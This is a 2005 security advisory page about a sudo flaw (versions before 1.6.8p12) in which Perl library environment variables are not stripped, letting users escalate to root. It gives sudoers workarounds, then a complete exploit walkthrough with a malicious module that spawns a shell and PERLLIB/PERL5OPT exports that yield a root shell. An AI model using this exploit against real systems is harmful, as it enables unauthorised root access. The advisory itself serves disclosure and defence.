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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Sudo Perl Local Privileges Escalation 15 Nov. 2005    Summary "Sudo (superuser do) allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while logging the commands and arguments." Sudo execute sub processes of Perl module with the privileges of the main perl script, allowing local attackers to execute arbitrary code.   Credit: The information has been provided by Charles Morris. The original article can be found at: http://www.sudo.ws/sudo/alerts/perl_env.html Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * sudo version 1.6.8p11 and prior Immune Systems:  * sudo version 1.6.8p12 The PERL5LIB and PERLLIB environment variables can be used to provide a list of directories in which to look for Perl library files before the system directories are searched. It is similar in concept to the LD_LIBRARY_PATH environment variables, only for Perl. These variables are ignored if "tainting" is enabled (via the -T switch). The PERL5OPT environment variable specifies additional command line options to be passed to the script which may modify its behavior. Malicious users with sudo access to run a Perl script can use these variables to include and execute their own library file with the same name as a system library file that is included (via the "use" or "require" directives) by the Perl script run via sudo. Exploitation of the bug requires that Perl be installed on the machine and that users be granted sudo access to run Perl scripts that do not have tainting turned on. Workaround: The administrator can add a line at the top of the sudoers file: Defaults env_delete+="PERLLIB PERL5LIB PERL5OPT" which will cause sudo to strip the PERLLIB, PERL5LIB and PERL5OPT environment variables without requiring a recompile. Alternately, the administrator can add a line to the top of sudoers file: Defaults env_reset Which will reset the environment to only contain the variables HOME, LOGNAME, PATH, SHELL, TERM, and USER, also preventing this attack. Exploit: ## Sudo local root exploit ## ## vuln versions : sudo < 1.6.8p12 ## adv : http://www.securityfocus.com/bid/15394 ## adv : http://www.frsirt.com/bulletins/2642 ##by breno - breno at kalangolinux.org ## You need execute access to perl script in sudo ## ## cat /etc/sudoers ## breno ALL=(ALL) /home/breno/code.pl ## Now let's create your own perl module FTP.pm :) good name. breno ~ $ -> mkdir modules breno ~ $ -> mkdir FTP breno ~/modules $ -> ls FTP breno ~/modules $ -> cd FTP breno ~/modules/FTP $ -> h2xs -AXc -n FTP Defaulting to backwards compatibility with perl 5.8.7 If you intend this module to be compatible with earlier perl versions, please specify a minimum perl version with the -b option. Writing FTP/lib/FTP.pm Writing FTP/Makefile.PL Writing FTP/README Writing FTP/t/FTP.t Writing FTP/Changes Writing FTP/MANIFEST breno ~/modules/FTP $ -> breno ~/modules/FTP/FTP $ -> perl Makefile.PL Checking if your kit is complete... Looks good Writing Makefile for FTP breno ~/modules/FTP/FTP $ -> make cp lib/FTP.pm blib/lib/FTP.pm Manifying blib/man3/FTP.3pm breno ~/modules/FTP/FTP $ -> make test PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e" "test_harness(0, 'blib/lib', 'blib/arch')" t/*.t t/FTP....ok All tests successful. Files=1, Tests=1, 0 wallclock secs ( 0.03 cusr + 0.01 csys = 0.04 CPU) breno ~/modules/FTP/FTP $ -> #Now i deleted the default FTP.pm (it was ugly), and create my beautiful module breno ~/modules/FTP/FTP/blib/lib $ -> vi FTP.pm FTP.pm: package FTP; use strict; use vars qw($VERSION); $VERSION = '0.01'; sub new {   my $package = shift;   return bless({}, $package); } sub verbose {     my $self = shift;     system("/bin/bash");     if (@_) {     $self->{'verbose'} = shift;       }        return $self->{'verbose'}; } sub hoot {    my $self = shift;    return "Don't pollute!" if $self->{'verbose'};    return; } 1; __END__ #EOF # Remenber our super code.pl breno ~ $ -> vi code.pl code.pl: #!/usr/bin/perl BEGIN { $| = 1; print "1..1\n"; } END {print "not ok 1\n" unless $loaded;} use FTP; $loaded = 1; print "ok 1\n"; my $obj = new FTP; $obj->verbose(1); my $result = $obj->hoot; print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n"); $obj->verbose(0); my $result = $obj->hoot; print ($result eq "" ? "ok 3\n" : "not ok 3\n"); #EOF # Now let's play with PERLLIB and PERL5OPT env. breno ~ $ -> export PERLLIB="/home/breno/modules/FTP/FTP/blib/lib/" breno ~ $ -> export PERL5OPT="-MFTP" # Now get Root!! :) breno ~ $ -> sudo ./code.pl Password: 1..1 ok 1 root ~ # -> id uid=0(root) gid=0(root) grupos=0(root) root ~ # ->  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability Insight Control for Linux Multiple Vulnerabilities HP-UX Running NFS/ONCplus Denial of Service Vulnerability HP-UX Running BIND Denial of Service Vulnerability 2011 HP-UX Running XNTP Denial of Service Vulnerability HP-UX Denial of Service Vulnerability Webkit Detached Body Element Code Execution Vulnerability Mac OS X Compact Font Format Decoder Code Execution Vulnerability WebKit WBR Tag Removal Code Execution Vulnerability Webkit Undefined DOM Prototype Attach Code Execution Vulnerability Apple HFS Information Disclosure Vulnerability XPDF arbitrary Arbitrary Code Execution Vulnerabilities Hewlett-Packard Data Protector Client EXEC_CMD omni_chk_ds.sh Code Execution Vulnerability Red Hat OpenJDK IcedTea6 ClassLoader Code Execution Vulnerability HP-UX Apache Running Tomcat Servlet Engine Remote Modification and Denial of Service Vulnerabilities  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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